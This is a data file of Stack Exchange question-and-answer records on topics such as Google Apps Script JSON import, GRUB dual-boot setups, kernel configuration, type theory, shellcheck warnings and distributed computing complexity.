{  "id": "_webapps.88362"  , "question": "I am using Apps Script in Google Sheets to import JSON from Google Analytics. I have previously used the ImportJSON function to easily get the JSON from an open API just using =ImportJSON(url) within a cell. Because I am using Apps Script to authorise the Analytics API stuff (this all works fine), I am also using it to insert the JSON data into my sheet. ImportJSON returns a two-dimensional array containing the data, with the first row containing headers. However, I am having difficulty getting the range of the data so that I can add the values to the sheet.This is what I have:function makeRequest() {  var analyticsService = getAnalyticsService();  var apiUrl = 'https://www.googleapis.com/analytics/v3/data/ga?ids=removed&start-date=30daysAgo&end-date=yesterday&metrics=ga%3AuniquePageviews&dimensions=ga%3ApagePath&sort=-ga%3AuniquePageviews&filters=ga%3ApagePath%3D%40%2FKnowledgeBank%2FFactsheetForFarmers.aspx&max-results=10&access_token=' + analyticsService.getAccessToken()  var sheet = SpreadsheetApp.getActiveSheet();  var jsonData = ImportJSON(apiUrl);  var cell = sheet.getRange(jsonData.length,jsonData[0].length);  cell.setValues(jsonData);}The error I get is Incorrect range height, was 3 but should be 1"  , "title": "Import JSON to Google Sheet using Google Apps Script"  , "tags": "google spreadsheets;google apps script;import"  , "accepted_answer": "As JPV pointed out, the line var jsonData = ImportJSON(apiUrl);is not valid in Apps Script (unless you have defined ImportJSON function somewhere). To fetch something from an external URL in Apps Script, one uses UrlFetchApp. So the line could bevar jsonData = JSON.parse(UrlFetchApp.fetch(apiUrl).getContentText());After this, jsonData is a JavaScript object parsed from the JSON string returned by the server. To import it in a spreadsheet, one has to create a double array suitable for passing to setValues. How to do this depends on the structure of the object.The pullJSON gist that you referenced gives a simple model of this process, which works when jsonData is already an array.  But different APIs work differently: for example, Stack Exchange API returns an object with several wrapper properties, one of which is items that holds an array of objects of interest. So in this case one would loop over the elements of jsonData.items, extracting the properties of each object in the array and pushing them into a double array. "  } 
{  "id": "_unix.30909"  , "question": "I think what I want to do is long and convoluted; then again, it might be somewhat easy, and I'm just overthinking it.Here's the setup I want to achieve:The internal drive (sda) is one giant WinXP partition (sda2), a tiny one for a boot partition (sda1), and the MBR.On an external drive (sdb), I will create multiple partitions for several distros. This drive will be either an HDD in an enclosure or something like a WD passport. This will be attached via USB 2.0.I know it is possible to install grub to the MBR of sda and boot an sdb partition from there. I also know I'll need to edit grub to chainload Windows and list all the distros. However, I have the following questions:If I disconnect sdb and want to select + boot into Windows, is grub going to get upset? In other words, does the grub menu just display what you tell it to, or does it go hunting for those other options immediately and will have problems because some have disappeared?  If I disconnect sdb, I'd love for it to still be bootable on another computer. If I have a boot partition on sdb as well as sda, but have my BIOS set to use the internal MBR first, can this be achieved?  What if I want to use something pretty like burg or plymouth? How will this change things?I'm sure the answers are out there somewhere, but I'm finding it hard to Google for!"  , "title": "GRUB on MBR of Windows-only internal drive, with distros on external drive"  , "tags": "dual boot;grub2;usb drive"  , "accepted_answer": "Keep in mind that GRUB also needs a configuration file and additional files, so you need it in the MBR and it has to access files in some partition just to run. This will ruin 1.You can either spare some megabytes (if it's even that much) just to have the grub files in sda, or install another bootloader that sits in the MBR (I think lilo does that).Now for 2., your best choice is probably:Set up sdb with a GRUB itself, so that booting through sdb gives you a menu of what is in that disk, and you can use that menu on any computer;Set up another GRUB on sda (or another bootloader, if you can't have the files in sda). This one should be independent from sdb and have two entries: chainload into Windows and chainload into sdb (run the other GRUB).So yes, that setup is achievable, the only thing you may need to spend some time with is finding out what to install on sda if you can't make a tiny partition for GRUB.(I'm just not sure if GRUB will be able to chainload into an USB drive, I guess that depends partly on GRUB, partly on the BIOS.)"  } 
{  "id": "_codereview.169499"  , "question": "I am using following code to download a csv file using Web API. Maximum file size will be less than 500mb. How can I improve this code?[HttpPost, Route(api/files/getfile)]public HttpResponseMessage GetDataFileResponse(string filePath) {    try {        FileStream fileStream = File.OpenRead(filePath);        long fileLength = new FileInfo(filePath).Length;        var response = new HttpResponseMessage();        response.Content = new StreamContent(fileStream);        response.Content.Headers.ContentDisposition = new ContentDispositionHeaderValue(attachment);        response.Content.Headers.ContentDisposition.FileName = mydata.csv;        response.Content.Headers.ContentType = new MediaTypeHeaderValue(application/octet-stream);        response.Content.Headers.ContentLength = fileLength;        return response;    } catch (Exception e) {        Console.WriteLine(e);        throw;    }}"  , "title": "Download file uisng ASP.Net WebApi"  , "tags": "c#;asp.net web api"  } 
{  "id": "_unix.327935"  , "question": "I'm a gentoo user and I've become I a bit tired of copying my kernel config file when a new kernel comes out. I wonder if it's possible to pipe the configuration file to genkernel directly. Something like this:sudo genkernel --install --clean --kernel-config=$(gunzip/proc/config.gz) --menuconfig allor this:zcat /proc/config.gz | sudo genkernel --install --clean --kernel-config=- --menuconfig allBut I can't get it to work since I'm not really that good at piping/shell scripting. Any ideas?EDIT: with $(gunzip /proc/config.gz) it says gzip: /proc/config: No such file or directory. But it's untrue since zcat /proc/config.gz prints all my settings"  , "title": "Piping config file to genkernel"  , "tags": "kernel;pipe;gentoo"  } 
{  "id": "_cs.19065"  , "question": "In the pre-history of dependent type theory, Per Martin Lfintroduced a calculus that is in some sense the simplest dependenttype theory and the most general form of impredicative polymorphism.It is often referred to as Type:Type because the kind Type isitself of type Type.  Unfortunately, it is inconsistent as alogic. This was discovered by Girard in his famous dissertation [1],who managed to express the Burali-Forti paradox in Type:Type.Various people have analysed, generalised and simplified Girard'sanalysis, see e.g. [2, 3]. This analysis seems to involve showing thatnon-terminating terms can be typed.I have a question about non-termination: do we get non-normalisation atthe level of types? By that I mean, is there a type $T$ such that thereduction relation $\\rightarrow$ used, explicitly or implicitly, todefine equality of types, gives rise to an infinite reduction sequence$$   T \\rightarrow T' \\rightarrow T'' \\rightarrow \\cdots?$$[1] J.-Y.. Girard, Une extension de l'interpretation fonctionelle deGdel a l'analyse.[2] T. Coquand, A New Paradox in Type Theory.[3] A. J. C. Hurkens, A Simplification of Girard's Paradox."  , "title": "Non-termination of types in Martin-Lf's Type:Type?"  , "tags": "type theory;functional programming;dependent types;curry howard"  , "accepted_answer": "Short answer: yes.Long answer: For $\\mathrm{Type}:\\mathrm{Type}$, non-termination at the type level is trivial. You can take a constant $X:\\mathrm{False}\\rightarrow \\mathrm{Type}$. Then if you take the inconsistent term $\\bot : \\mathrm{False}$ you have$$ X\\ \\bot : \\mathrm{Type}$$Which is non-terminating at the type level. You might complain that this has a head normal form, which isn't what usually leads to inconsistency in type theory. In this case you can remember that $$ \\mathrm{False}\\equiv \\forall X.\\ X$$and so$$ \\bot\\ \\mathrm{Type}:\\mathrm{Type}$$Which has no head-normal form. In general, in this system the types and terms are so intertwined that the non-termination always seeps at the type level.However, there is another system, called $U^-$, also described by Girard in his thesis, which was discovered to be inconsistent by Coquand (A New Paradox in Type Theory). This system is terminating at the type level, as it only has $\\mathrm{system}\\ F$ types at the kind level, and we know that terms are normalizing in that system (also a result of Girard!).This means that non-termination at the type level is not necessary for having an inconsistent pure type system (a fact that I found out somewhat painfully after having proven an open question while depending on this fact)."  } 
{  "id": "_webmaster.92842"  , "question": "So I know that positions change and are also tailored to the user personally, but when I am looking at positions in my Webmaster tools dashboard some keywords have positions like 5, 6 or 7 (first page), but when I am actually trying the same keywords in Google search I don't see my website anywhere at all, and I also checked image search.Does anyone know why this happens?"  , "title": "Google search console reports rankings, but my site doesn't show up for me when searching for those keywords"  , "tags": "seo;google search console;google search"  } 
{  "id": "_unix.252171"  , "question": "I have a file named, for example, ascdrgi.txt, with the following contents:tigerlioncatI want to duplicate this file a (variable) number of times by changing the last character of the filename (ignoring the extension). For example, in this case if I made 3 copies, they would be named:ascdrgj.txtascdrgk.txtascdrgl.txtIf the filename ends with a number, that number should increase instead, so copies of ascdrg1.txt would be:ascdrg2.txtascdrg3.txtascdrg4.txtIf the file already exists, the script should skip that name and move onto the next one. If we reach the last character (z, Z, or 9), it should loop around to the beginning (the next would be a, A, or 1, respectively).In addition to duplicating the original file, I need to modify the first line of each file to say which file it is (numerically), as well as the total number of files. Using the first ascdrgi.txt example, that file would now contain:tiger number(1,4)lioncatThe next file, ascdrgj.txt, would contain:tiger number(2,4)lioncatand so on."  , "title": "How to duplicate a file a number of times while embedding an index in each file"  , "tags": "shell script;text processing;awk;file copy"  } 
{  "id": "_codereview.145833"  , "question": "I have the following code but I am not too happy about the way I replace e-mails with mailto links. Additionally, I am thinking how to conbine the logic of the URLs and E-mails into one Loop. Finally, Will be there any ill effects if I take the Pattern and compile it as a public static final outside of the method? I don't think it will but I want to be safe.   private static String wrapURLsInStrings(String s) {                    String [] parts = s.split(\\\\s+);            StringBuilder returnedString = new StringBuilder();            // Attempt to convert each item into an URL.            for( String item : parts ) {              try {                URL url = new URL(item);                // If possible then replace with anchor...                returnedString.append(<a href=\\ + url + \\ title=\\ + url + \\ target=\\_blank\\> + url + </a> );              } catch (MalformedURLException e) {                // If there was an URL that was not it!...                returnedString.append(item).append( );              }            }            String urlString = returnedString.toString();            Pattern patternEmail = Pattern.compile([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\\\.[a-zA-Z0-9-.]+); // why i need to compile;            //E-mails            Matcher matcher = patternEmail.matcher(urlString);            String eMaill;            while (matcher.find()) {              eMaill = matcher.group();              urlString = urlString.replaceAll(eMaill, <a href=\\mailto: + eMaill + \\ title=\\ + eMaill + \\ target=\\_blank\\> + eMaill + </a> );            }            return urlString;          }"  , "title": "Link Detection and Addition of Anchor"  , "tags": "java;performance;regex"  } 
{  "id": "_cs.33455"  , "question": "I'm struggling to understand a question I've been given. The question asks:Let $\\psi$ be a boolean formula in $n$ variables. There are $2^n$ different combinations of assigningvalues to the variables. Consider the problem of deciding whether (strictly) more than $2^{n1}$of these assignments satisfy the formula $\\psi$. We will call the language that corresponds to thisdecision problem, $L$.From this I can tell that if $x_1, x_2, ..., x_n$ are the $n$ variables which can be either true or false. I understand why there would be $2^n$ different assignings for the formula, as each variable can be assigned 1 of 2 values. But then what is $\\psi$ exactly, is it an assignment such as $\\psi$=($x_1 \\lor x_2 \\lor ... x_n$). But then the later part of the question doesn't make any sense. Can someone please explain in more detail what it means by deciding whether (strictly) more than $2^{n1}$ of these assignments satisfy the formula $\\psi$?The question is then to show that there exists a turing machine $M$ and polynomials $T$ and $p$, with the following properties:  For every input $x$, $M$ terminates after at most $T(|x|)$ steps. If $x\\in L$, then $Pr_{t\\small\\{0,1\\small\\}^{p(|x|)}}$[$M$ accepts $<x, t>$] $>$ 1/2. If $x\\notin L$, then $Pr_{t\\small\\{0,1\\small\\}^{p(|x|)}}$[$M$ rejects $<x, t>$] $$ 1/2Where $Pr_{t\\{0,1\\}^{p(|x|)}}$[$M$ accepts $<x, t>$] means the probability, for a give $t$ from the set $\\{0,1\\}^{P(|x|)}$, that M accepts the input $<x,t>$ is greater than 1/2. This is similar to the definition of bounded error probabilistic polynomial time(BPP), except that the definition for BPP have both equalities as $$, so I'm guessing I need to show that the language L is in BPP. But how would I even start the proof to show that he language is indeed in BPP. Also the definition of a language in BPP is not identical to what is mentioned in the question, so maybe there's a different approach to answering the question. Also, I don't need to explicitly find the polynomials $p$ and $T$, but instead argue that they exist.Any help to assist me with the question would be much appreciated"  , "title": "Show there exists a turing machine with the following properties"  , "tags": "complexity theory;turing machines"  } 
{  "id": "_unix.84273"  , "question": "Please comment on the following sentence:On the standard Linux kernel without the rt patch, interrupts can't  interrupt ongoing system calls. The reason why our machine doesn't  stop working when data is fetched from the hard disk is because the  system call we used for that operation is blocking. Blocking means  that once it issues the request to the hard disc it changes the  process state to blocked, and willingly gives up the processor time.  There are no means to interrupt an ongoing system call on a non real time kernel.This is my understanding of the topic, I am however, not sure if it is correct."  , "title": "Can system calls be interrupted?"  , "tags": "linux;linux kernel;scheduling;interrupt"  , "accepted_answer": "System calls can be interrupted through the use of signals, such as SIGINT (generated by CTRL+C), SIGHUP, etc. You can only interrupt them by interacting with the system calls through a PID, however when using Unix signals and the kill command.rt_patch & system calls@Alan asked the following follow-up question:Is the possibility to interrupt system calls directly related with the  acceptance of the rt_patch in the mainline Linux kernel?My response:I would think so. In researching this I couldn't find a smoking gun that says you could/couldn't do this which leads me to believe that you can. The other data point which makes me think this, is that the underlying signals mechanism built into Unix is necessary for being able to interact with processes. I don't see how a system with these patches in place would be able to function without the ability to use signals. Incidentally the signals operate at the process level. There isn't any method/API which I'm aware of for injecting interrupts to system calls directly.ReferencesWhen and how are system calls interrupted?"  } 
{  "id": "_unix.230087"  , "question": "I'm trying to create an array of file names, based on two variable and using brace expansion, like this:#!/bin/bashaltdir=/usrarg=abctries=({.,$altdir}/{$arg,$arg/main}.{tex,ltx,drv,dtx})for i in ${tries[@]}; do echo $i; doneThe last statement list the files I want correctly:./abc.tex./abc.ltx./abc.drv./abc.dtx./abc/main.tex./abc/main.ltx./abc/main.drv./abc/main.dtx/usr/abc.tex/usr/abc.ltx/usr/abc.drv/usr/abc.dtx/usr/abc/main.tex/usr/abc/main.ltx/usr/abc/main.drv/usr/abc/main.dtxBut shellcheck tells me that the two variables, altdir and arg, appear to be unused:$ shellcheck testscriptIn testscript line 3:    altdir=/usr    ^-- SC2034: altdir appears unused. Verify it or export it.In testscript line 4:    arg=abc    ^-- SC2034: arg appears unused. Verify it or export it.Is there a better way to do this?"  , "title": "bash shellcheck issue with variables in brace expansion"  , "tags": "bash;shell;brace expansion;shellcheck"  , "accepted_answer": "A workaround can be:#!/bin/bashunset altdirunset arg: ${altdir:=/usr}: ${arg:=abc}tries=({.,$altdir}/{$arg,$arg/main}.{tex,ltx,drv,dtx})for i in ${tries[@]}; do echo $i; doneor make shellcheck ignore SC2034 code:shellcheck -e SC2034 testscript(And remember to always quote your variables if you don't want list context)"  } 
{  "id": "_webapps.101378"  , "question": "I'm in the process of setting up G Suite for a small business. I have a domain that I own (newDomain.ca), a single G Suite account for an email (dylan@newDomain.ca, which manages dylanEmail@gmail.com), and can log into the admin console. However, when I go to some sites associated with the account I am unable to perform certain actions as Google thinks I am not an administrator -- despite the fact that I'm the only user. For instance, if I go to Google Plus to edit my information and attempt to update anything under the Organization Info heading, the following appears:Because Google doesn't think I'm an administrator, I also can't contact their support services for help despite being a paying customer. This, as you might imagine, is very frustrating -- especially as Google's advice is to contact my administrator. Any idea what I might be doing wrong? Do I fundamentally misunderstand how G Suite works?"  , "title": "New G Suite Setup: Only user is not an administrator?"  , "tags": "google plus;google account;account management;alias;g suite"  } 
{  "id": "_softwareengineering.189052"  , "question": "I recently finished this book called The Elements of Computing Systems where you build a working computer system from the ground up, starting from basic logic gates, to creating your own machine code and Assembly language, to intermediate code, and finally a simple object-oriented programming language that compiles down to VM code. I enjoyed it a lot and I'd like to create something similar in JavaScript, but with more features. I've already written an emulator for the Hack machine in JS:   // Creates a new CPU object that is responsible for processing instructions  var CPU = function() {var D = 0;    // D Register    var A = 0;    // A Registervar PC = 0;   // Program counter// Returns whether an instruction is valid or notvar isValidInstruction = function(instruction) {    if (instruction.length != 32)        return false;    instruction = instruction.split();     for (var c = 0; c < instruction.length; c++)    {        if (instruction[c] != 0 && instruction[c] != 1)            return false;    }    return true;};  // Given an X and Y input and 6 control bits, returns the ALU outputvar computeALU = function(x, y, c) {    if (c.length != 6)        throw new Error(There may only be 6 ALU control bits);    switch (c.join())    {        case 000000: return 0;         case 000001: return 1;         case 000010: return -1;         case 000011: return x;         case 000100: return y;         case 000101: return ~x;        case 000110: return ~y;        case 000111: return -x;         case 001000: return -y;         case 001001: return x+1;         case 001010: return y+1;        case 001011: return x-1;        case 001100: return y-1;        case 001101: return x+y;        case 001110: return x-y;        case 001111: return y-x;        case 010000: return x*y;        case 010001: return x/y;        case 010010: return y/x;        case 010011: return x%y;        case 010100: return y%x;        case 010101: return x&y;        case 010110: return x|y;        case 010111: return x^y;        case 011000: return x>>y;        case 011001: return y>>x;        case 011010: return x<<y;        case 011011: return y<<x;        default: throw new Error(ALU command  + c.join() +  not recognized);     }}; // Given an instruction and value of Memory[A], return the resultvar processInstruction = function(instruction, M) {    if (!isValidInstruction(instruction))        throw new Error(Instruction  + instruction +  is not valid);    // If this is an A instruction, set value of A register to last 31 bits    if (instruction[0] == 0)    {        A = parseInt(instruction.substring(1, instruction.length), 2);        PC++;         return {            outM: null,            addressM: A,            writeM: false,            pc: PC        };     }    // Otherwise, this could be a variety of instructions    else    {        var instructionType = instruction.substr(0, 3);        var instructionBody = instruction.substr(3);        var outputWrite = false;         // C Instruction - 100 c1, c2, c3, c4, c5, c6 d1, d2, d3 j1, j2, j3 (000..000 x16)        if (instructionType == 100)        {            var parts = [ a, c1, c2, c3, c4, c5, c6, d1, d2, d3, j1, j2, j3 ];            var flags = {};             for (var c = 0; c < parts.length; c++)                flags[parts[c]] = instructionBody[c];             // Compute the ALU output            var x = D;            var y = (flags[a] == 1) ? M : A;             var output = computeALU(x, y, [flags[c1], flags[c2], flags[c3], flags[c4], flags[c5], flags[c6]]);             // Store the result            if (flags[d1] == 1) A = output;             if (flags[d2] == 1) D = output;            if (flags[d3] == 1) outputWrite = true;             // Jump if necessary            if ((flags[j1] == 1 && output < 0) || (flags[j2] == 1 && output == 0) || (flags[j3] == 1 && output > 0))                 PC = A;            else                PC++;             // Return output            return {                outM: output,                addressM: A,                writeM: outputWrite,                pc: PC            };         }        else throw new Error(Instruction type signature  + instructionType +  not recognized);    }}; // Reset the CPU by setting all registers back to zerothis.reset = function() {    D = 0;    A = 0;    PC = 0;}; // Set the D register to a specified valuethis.setD = function(value) {    D = value;}; // Set the A register to a specified valuethis.setA = function(value) {    A = value;}; // Set PC to a specified valuethis.setPC = function(value) {    PC = value;};// Processes an instruction and returns the resultthis.process = function(instruction, M) {    return processInstruction(instruction, M); }; }; I was thinking about adding things like a filesystem, sound, Internet connectivity, and an RGBA screen output (currently it's only black and white). But how feasible would this be, really? Because what I'm thinking about doing is starting completely from scratch. And what I mean by that is create my own machine code, then work all the way up towards a C-like language and actually create working programs and stuff. "  , "title": "Building a computer system with JS?"  , "tags": "javascript"  , "accepted_answer": "You could certainly do it. You'd need to implement certain components of your operating system, such as the boot loader, and interrupts in a lower level language.Have a look at the approach taken by the Singularity Operating System by Microsoft on how to develop an operating system that runs on Managed Code.Of course, there is no requirement that you have to bolt on memory management to JavaScript, you could add an API for memory management to JavaScript. You could choose to write a compiler for JavaScript or write a virtual machine.Singularity has source code available so you could gain valuable insight from looking at the design decisions that Microsoft made."  } 
{  "id": "_unix.386332"  , "question": "Just after upgrade my system start to fail when I try to login as normal user both via gdm and tty. However it's not possible to login as root too. When try to login via tty it outputs 'Login Incorrect'. Via the gdm the same but another words used. I've changed passwords with live cd but it's not helped. I tried to check logs, but last log changed before upgrade.It's Debian system.How to reslolve this? Thanks!PS. chrooting from live cd to purpose system successfully done however."  , "title": "Debian not logged in with proper password after upgrade"  , "tags": "debian;ubuntu;security;login;pam"  } 
{  "id": "_webmaster.102850"  , "question": "I am in the process of updating the structured data on my site and added the siteNavigationElement schema to top category navigation on my page.I was wondering if it is beneficial or if it is incorrect to add this schema to the faceted navigation and the navigation in the footer."  , "title": "Should I use the navigation schema on faceted navigation and footer navigation?"  , "tags": "schema.org;structured data"  } 
{  "id": "_unix.156719"  , "question": "Is the ext2 filesystem good for /boot partition? I set ext4 for / root partition, but wasn't sure which filesystem to select for the /boot partition, and I just set ext2. Does it matter in this case?"  , "title": "Ext2 filesystem for /boot partition"  , "tags": "filesystems;boot;boot loader;ext2"  , "accepted_answer": "It only matters if you're going to use the ancient GRUB, ext4 is only supported by GRUB2.ext2 is simple, robust and well-supported, which makes it a good choice for /boot."  } 
{  "id": "_unix.361085"  , "question": "I've been asked to determine the absolute minimum attributes for Samba accounts on AIX. For instance, setting the local account shell to /bin/false in order to prevent shell access. That's feasible. I can even set the /home directory to something other than /home/service/$USER or /home/$USER because, from what I gather, it is impossible to actually create a local account without a /home directory on AIX.But, what about Samba? Is it possible to create a Samba user without creating its home directory? "  , "title": "Disable samba home directories"  , "tags": "samba;aix;home;accounts"  } 
{  "id": "_webmaster.101992"  , "question": "I am guessing Google structured data testing tool behaves strange.I wrote a code to create JSON-LD for multiple locations for one of my websites. But Google testing tool returns an error: Missing '}' or object member name.The error is related to missing }, or ], but that's not all right. Because the syntax is correct. Below is the code I used, maybe others are also in the same condition these days:<script type=application/ld+json>{@context: http://schema.org,@type: LocalBusiness,name: Company,url: http://www.example.com,[{address: {    addressLocality: United Arab Emirates,    addressRegion: Dubai,    streetAddress: Building 213,        telephone : 04 444 5555     openingHours: [Su, Mo,Tu,We,Th, 09:00-18:00],    },{address: {    addressLocality: Jordan,    addressRegion: Amman,    postalCode:XXXXXXX,    streetAddress: Building 213     openingHours: [Su, Mo,Tu,We,Th, 09:00-18:00],    },{address: {    addressLocality: Lebanon,    addressRegion: Beirut,    streetAddress: Building 213,    telephone : +961 444 5555     openingHours: [Su, Mo,Tu,We,Th, 09:00-18:00],    },{address: {    addressLocality: Qatar,    addressRegion: Doha,    streetAddress: Building 213,    telephone : +1(503) 444 5555     openingHours: [Su, Mo,Tu,We,Th, 09:00-18:00],    },{address: {    addressLocality: Saudi Arabia,    addressRegion: Riyadh,    streetAddress: Building 213,        telephone : +966 1 4444 5555     openingHours: [Su, Mo,Tu,We,Th, 09:00-18:00],    },{address: {    addressLocality: Egypt,    addressRegion: New Cairo,    streetAddress: Building 213,        telephone : +20 2 44445555     openingHours: [Su, Mo,Tu,We,Th, 09:00-18:00],    }],description: Company description,email:support@example.com,logo: http://www.example.com/w-logo.png,sameAs : [ https://www.facebook.com/Example,https://twitter.com/Example,https://plus.google.com/+Example,https://www.youtube.com/user/Example,http://www.slideshare.net/Example,https://www.linkedin.com/company/Example]}</script>"  , "title": "Google SDTT gives error Missing '}' or object member name. for my JSON-LD"  , "tags": "google rich snippets tool;json ld"  } 
{  "id": "_softwareengineering.76591"  , "question": "I've spent too much time on setup & maintain a development server, which contains following tools:Common services like SSH, BIND, rsync, etc.Subversion, Git.Apache server, which runs CGit, Trac, Webmin, phpmyadmin, phppgadmin, etc.Jetty, which runs Archiva and Hudson.Bugzilla.PostgresSQL server, MySQL server.I've created a lot of Debian packages, like my-trac-utils, my-bugzilla-utils, my-bind9-utils, my-mysql-utils, etc. to make my life more convenient. However, I still feel I need a lot more utils. And I've spent a lot of time to maintain these packages, too.I think there maybe many developers doing the same things. As tools like subversion, git, trac are so common today. It's not to hard to install and configure each of them, but it took a long time to install them all. And it's time consuming to maintain them. Like backup the data, plot the usage graph and generate web reports. (gitstat for example)So, I'd like to hear if there exist any pre-configured distro for Development Server purpose, i.e., something like BackTrack for hackers?"  , "title": "Linux distro for software development support?"  , "tags": "linux"  , "accepted_answer": "I think you'll have to make one yourself, since I don't think there's a one-size-fits-all solution, every developer needs a unique set of tools.However, you can create your own distribution using something like SuSE studioOr search for linux unattended install on Google, I found some good hits."  } 
{  "id": "_unix.377339"  , "question": "I am a sysadmin by trade, and I do what I do at work at home as well for fun. I have a Gentoo Linux laptop, Raspberry Pis running Raspian, a Gentoo server, ARM devices running Debian and have various Android devices. I'm always wrestling and worrying about backing up and synchronizing my own home directory among disperate devices, while keeping it reasonably safe from prying eyes.I had experience with Andrew in the '80s at CMU, and it was like magic. I would consider NFS if it had some mechanism to handle disconnected access and didn't presume a constant network connection.Would OpenAFS be something that admins out there might consider to handle synchronizing the data of lightly connected hosts of the modern user? I've also considered things like Lustre. I am looking for something that requires moderate maintenance after initial setup. It seems like OpenAFS might also be interesting in that I could divide my home directory into administratively different subdirectories, which might be distributed to different devices in different measure. (E.g. a ~/mobile for files which must reside on my phone and tablets, ~/pi for Raspberry Pi files, etc.)Is OpenAFS a dead end, or am I on a good track? :)"  , "title": "Is it crazy to consider keeping my home directory on OpenAFS?"  , "tags": "linux;home;synchronization;distributed filesystem;afs"  } 
{  "id": "_unix.347926"  , "question": "Gnome desktop seems configurable in various ways: in Gnome settings, with gnome-extensions, gnome-tweak-tool, gsettings or dconf-editor.However, apart from this procedure to change the login screen background, which involves a little bit of glib compiling, I have found no way to customize the appearance of:the login screen (font, position, color and size of the login boxes)shield screen aka lock screen aka curtain (font, position, color, format and size of the clock, displayed messages, etc.)I understand that Gnome philosophy is not to allocate much resource in tweaky-tweak-tweaking-tweakable stuffs. But I am suprised that such basic and harmless properties of these screens seem so difficult to access.Is there a way I can access and tweak login / shield screen organization properties?Are they hardcoded or is it just a matter of sneaking into a small curtain.xml or loginscreen.json?Do I need to get into the sources and compile gnome myself?"  , "title": "How do I customize Gnome screen shield / curtain / login screen appearance?"  , "tags": "gnome;gnome shell;screen lock;dconf;appearance"  } 
{  "id": "_cs.74756"  , "question": "How to compute the run-time of distributed algorithms in message passing systems? I was reading across and found it very weird that any computation done in each node is considered to take $\\mathcal{O}(1)$ time due to the unreliability in the time it takes to pass messages. Since this approach is not practical at all, I am assuming that I have not understood it properly. Could someone please explain?By impractical, I mean that I can simply solve any NP-Hard problem in distributed computing trivially in $\\mathcal{O}(n^2)$ time by passing information throughout the network and then brute-forcing for the solution in $\\mathcal{O}(1)$ time and this obviously seems stupid since in real life message passing shouldn't take more time than a brute-force solution over the search space. "  , "title": "How do you compute the time complexity of distributed algorithms?"  , "tags": "algorithm analysis;runtime analysis;distributed systems"  , "accepted_answer": "You understood it right. The standard models of distributed computing typically assume that local computation is free. It follows that in the LOCAL model of distributed computing, you can solve any graph problem in time $O(n)$, and in the CONGEST model of distributed computing, you can solve any graph problem in time $O(m)$ by brute force; here $n$ is the number of nodes and $m$ is the number of edges.However, we are not interested in such running times in these models. For example, for the LOCAL model, the key question is what can be solved e.g. in polylogarithmic time time, or $O(\\log n)$ time, or $O(\\log^* n)$ time, or even $O(1)$ time. Now these are highly non-trivial questions even if you assume that local computation is free.LOCAL and CONGEST are usually the wrong models if you are interested in studying e.g. NP-hard problems. However, if you consider easy problems (e.g. something that you can trivially solve in linear time with a centralised algorithm), then these models become much more interesting. Yes, of course you can find a maximal matching or a maximal independent set in linear time, but can you find it in sublinear time?Here are the key definitions for reference:LOCAL model: running time = number of synchronous rounds until all nodes stop and announce their local outputs; in each round each node can send a message to each of its neighbours; the message size is unbounded; local computation is free.CONGEST model: as above, but messages are bounded to $O(\\log n)$ bits."  } 
{  "id": "_cs.53967"  , "question": "I am trying to understand deeply how memories work in computers, and I faced the next difficulty.Let's say we have a device with two memory chips but only one address space (for example, 0x00000000 to 0x10000000 will be memory1 and 0x10000000 to 0x20000000 will be memory2). In case an assembly code does a load/store instruction to memory2 to the address 0x10000004, who's responsible it is to change the address so it will be absolute to the memory chip?I assume that the memory chip doesn't know it's relative address space, and in our example memory2 expects a load/store from/to 0x00000004."  , "title": "Mapping several memories to one address space"  , "tags": "memory management;memory hardware;memory access"  , "accepted_answer": "Each RAM chip (e.g., DIMM module) has its own range of physical addresses.  The memory controller connects the CPU to the RAM chips via a memory bus.In its simplest form, each read or write operation sent on the memory bus contains some bits that select which RAM chip it applies to, and some bits that indicate the address to be selected within that RAM chip.  So, physical memory is partitioned among the RAM chips.  The memory controller is responsible for managing this partition and determining, based on the physical address, which RAM chip to select (what to write on the chip select bits of the memory bus).  The specific architectural details have evolved over time and may differ from platform to platform.Physical addresses are normally not visible to user-level applications.  Instead, a virtual memory subsystem (page tables) are used to translate from virtual addresses to physical addresses.  The user-level application seems virtual addresses.  There need not be any simple way that ranges of virtual memory addresses correspond to RAM chips."  } 
{  "id": "_softwareengineering.165264"  , "question": "I have a domain model, persisted in a database, which represents a graph. A graph consists of nodes (e.g. NodeTypeA, NodeTypeB) which are connected via branches. The two generic elements (nodes and branches will have properties). A graph will be sent to a computation engine. To perform computations the engine has to be initialised like so (simplified pseudo code):Engine Engine = new Engine() ;Object ID1 = Engine.AddNodeTypeA(TypeA.Property1, TypeA.Property2, , TypeA.Propertyn);Object ID2 = Engine.AddNodeTypeB(TypeB.Property1, TypeB.Property2, , TypeB.Propertyn);Engine.AddBranch(ID1,ID2);Finally the computation is performed like this:Engine.DoSomeComputation();I am just wondering, if there are any relevant design patterns out there, which help to achieve the above using good design principles. I hope this makes sense. Any feedback would be very much appreciated."  , "title": "design pattern advice: graph -> computation"  , "tags": "design;design patterns;object oriented design;domain driven design"  , "accepted_answer": "I think the Visitor Pattern is appropriate to your problem, as it allows you to separate the tasks:apply a computation to every node on the graph; andthe computation that is applied.Your DoSomeComputation() method would take a parameter that is a (closure/lambda/implementation of some Visitor interface[*]) and apply that to the nodes on the graph.[*] delete as appropriate for the programming language you're using."  } 
{  "id": "_datascience.22056"  , "question": "I have come across many job openings where knowledge of ML, NLP and Deep learning are required to work in elasticsearch. I am actually not sure how ML, NLP etc are related with elasticsearch which is purely a search and indexing tool. At best it can be used for information retrieval tasks. I am not able to get a clear picture. Can anyone shed some light on this please?I am posting some of the job descriptions below after changig some of the wordings.Job description 1Working with a group (Data Science & Machine Learning Group) of ML engineers, Data Scientists and Product AnalystsDefine API oriented solutions for data and machine learning servicesGood to have :Elastic Search, NLP background and Machine Learning Platforms from a product engineering background.Job description 2This role emphasizes a need for to conceptualize, design, and develop reusable NLP and AI models as well as very strong technical knowledge.Work on technologies that people can't live without in the future: AI, NLP, Data Science + Bots.Advanced and Semantic Search (experience with indexing and retrieval technologies such as Elasticsearch or Lucene)Can anyone guide me? I am unable to get a clear picture and connect the dots."  , "title": "Does elasticsearch job requires knowledge of Machine learning and Deep Learning?"  , "tags": "beginner;tools;career;reference request"  } 
{  "id": "_webapps.35592"  , "question": "As far as I understand, at Amazon music cloud for 30 dollars a year you can upload all your mp3 music that you have.Even if you never payed for some of the mp3s, after those uploads, they are treated as leagally owned.What will happen, if you cancel that 30 dollars per year?Do you still legally own the songs, you once uploaded to the drive?"  , "title": "Is Amazon music cloud the salvation? Do I own the music afterwards?"  , "tags": "amazon;music;online storage;cloud"  } 
